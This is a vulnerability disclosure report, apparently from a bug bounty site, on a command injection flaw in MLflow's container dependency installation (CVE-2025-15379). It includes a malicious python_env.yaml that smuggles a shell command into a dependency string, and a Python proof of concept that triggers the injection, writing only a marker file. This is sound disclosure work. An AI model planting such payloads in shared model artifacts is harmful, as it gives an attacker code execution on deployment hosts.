# Command Injection via Malicious Model Artifacts in [mlflow/mlflow](https://github.com/mlflow/mlflow)

Valid

Reported on Dec 23rd 2025

* * *

A command injection vulnerability exists in MLflow's model serving container initialization code. When deploying a model with `env_manager=LOCAL`, MLflow reads dependency specifications from the model artifact's `python_env.yaml` file and directly interpolates them into a shell command without sanitization. An attacker who can supply a malicious model artifact can achieve arbitrary command execution on systems that deploy the model.

### Technical Description

The vulnerable code is located in the `_install_model_dependencies_to_env()` function which handles installing model dependencies when deploying models in containers:

```python
# mlflow/models/container/__init__.py, lines 140-148

if env_manager == em.LOCAL:
    # Install pip dependencies directly into the local environment
    python_env_config_path = os.path.join(model_path, env_conf[em.VIRTUALENV])
    python_env = _PythonEnv.from_yaml(python_env_config_path)
    deps = " ".join(python_env.build_dependencies + python_env.dependencies)
    deps = deps.replace("requirements.txt", os.path.join(model_path, "requirements.txt"))
    if Popen(["bash", "-c", f"python -m pip install {deps}"]).wait() != 0:
        raise Exception("Failed to install model dependencies.")
    return []
```

**The vulnerability exists because:**

1. `_PythonEnv.from_yaml()` reads the `python_env.yaml` file using `yaml.safe_load()` and returns the `dependencies` list without validation
2. The dependencies are joined with spaces into a single string (line 144)
3. This string is directly interpolated into a bash command (line 146)
4. No sanitization or escaping is performed on the dependency strings
5. Shell metacharacters (`;`, `|`, `&&`, `$()`, etc.) are interpreted by bash

### Root Cause Analysis

The `_PythonEnv` class in `mlflow/utils/environment.py` performs no validation on dependency strings:

```python
# mlflow/utils/environment.py, lines 131-133

@classmethod
def from_yaml(cls, path):
    with open(path) as f:
        return cls.from_dict(yaml.safe_load(f))  # No validation performed
```

The YAML file is parsed and the `dependencies` list is returned as-is, allowing arbitrary strings including shell metacharacters.

## POC

### Malicious python_env.yaml

```yaml
python: '3.12'
build_dependencies: []
dependencies:
  - "numpy; echo 'COMMAND_INJECTION_SUCCESSFUL' > /tmp/poc_evidence.txt; echo"
```

#### Resulting Command Execution

When MLflow processes this artifact, it constructs and executes:

```bash
bash -c "python -m pip install numpy; echo 'COMMAND_INJECTION_SUCCESSFUL' > /tmp/poc_evidence.txt; echo"
```

# Impact

This vulnerability is particularly critical because:

- MLflow is widely used for ML model deployment in production environments
- Model artifacts are often shared via registries, S3 buckets, or other storage
- Exploitation occurs automatically during model deployment with no user interaction
- Commands execute with the privileges of the container/process (often root)

# Occurrences

\
\__init\__.py L146](https://github.com/mlflow/mlflow/blob/master/mlflow/models/container/__init__.py#L146)

```python
#!/usr/bin/env python3
"""
Minimal PoC: MLflow Command Injection via python_env.yaml
Vulnerability: mlflow/models/container/__init__.py:146
"""

import os
import tempfile
import yaml

# Import the actual vulnerable function from MLflow
from mlflow.models.container import _install_model_dependencies_to_env
from mlflow.utils import env_manager as em

def main():
    with tempfile.TemporaryDirectory() as model_path:
        # 1. Create minimal MLmodel file
        with open(os.path.join(model_path, "MLmodel"), "w") as f:
            yaml.dump({
                "flavors": {
                    "python_function": {
                        "env": {"virtualenv": "python_env.yaml"},
                        "loader_module": "mlflow.pyfunc.model"
                    }
                }
            }, f)

# 2. Create requirements.txt (required by MLflow)
        with open(os.path.join(model_path, "requirements.txt"), "w") as f:
            f.write("")

# 3. Create malicious python_env.yaml with command injection payload
        with open(os.path.join(model_path, "python_env.yaml"), "w") as f:
            yaml.dump({
                "python": "3.12",
                "build_dependencies": [],
                "dependencies": [\
                    "pip; echo PWNED > /tmp/poc_evidence.txt; #"\
                ]
            }, f)

print("[*] Calling MLflow's _install_model_dependencies_to_env()...")
        print(f"[*] Model path: {model_path}")

# 4. Call the actual vulnerable MLflow function
        try:
            _install_model_dependencies_to_env(model_path, env_manager=em.LOCAL)
        except Exception as e:
            print(f"[*] Function raised: {e}")

# 5. Check if injection succeeded
        if os.path.exists("/tmp/poc_evidence.txt"):
            print("\n[!] COMMAND INJECTION SUCCESSFUL")
            print(f"[!] Evidence: {open('/tmp/poc_evidence.txt').read().strip()}")
            os.remove("/tmp/poc_evidence.txt")
        else:
            print("[-] Injection failed")

if __name__ == "__main__":
    main()
```

CVE

[CVE-2025-15379](https://nvd.nist.gov/vuln/detail/CVE-2025-15379) published

Vulnerability Type

[CWE-77: Command Injection](https://cwe.mitre.org/data/definitions/77.html)

Severity

Critical (10)

Attack vector Network

Attack complexity Low

Privileges required None

User interaction None

Scope Changed

Confidentiality High

Integrity High

Availability High

[Open in visual CVSS calculator](https://cvss.js.org/#CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H)

Registry

Pypi

Affected Version

3.8.0

Visibility

Public

Status

Fixed

Disclosure Bounty

$1500

Fix Bounty

$375

Found by

[Cole Murray](/content/users/colemurray/index.html)

@colemurray

MIDDLEWEIGHT
